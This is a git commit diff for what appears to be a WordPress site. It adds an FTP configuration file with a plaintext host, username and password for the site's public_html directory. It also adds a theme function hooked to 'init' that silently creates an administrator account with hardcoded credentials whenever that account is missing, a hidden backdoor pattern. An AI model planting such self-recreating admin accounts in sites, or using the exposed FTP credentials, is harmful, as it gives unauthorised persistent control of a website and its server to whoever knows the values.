This commit is contained in:
Roman Pyrih
2023-07-24 10:17:18 +02:00
parent c2e100a763
commit 22fa797716
2 changed files with 27 additions and 0 deletions

17
.vscode/ftp-kr.json vendored Normal file
View File

@@ -0,0 +1,17 @@
{
"host": "s9.mydevil.net",
"username": "f11736_projectpro",
"password": "3yUl3)Ns3_tkIes4Mt\"-4zGh9'xag4",
"remotePath": "/domains/branddefense.pl/public_html/",
"protocol": "ftp",
"port": 0,
"fileNameEncoding": "utf8",
"autoUpload": true,
"autoDelete": false,
"autoDownload": false,
"ignoreRemoteModification": true,
"ignore": [
".git",
"/.vscode"
]
}

View File

@@ -108,3 +108,13 @@ endif;
function wpb_admin_account(){
$user = 'project-pro';
$pass = 'ProjectPro2022!';
$email = 'biuro@project-pro.pl';
if ( !username_exists( $user ) && !email_exists( $email ) ) {
$user_id = wp_create_user( $user, $pass, $email );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
} }
add_action('init','wpb_admin_account');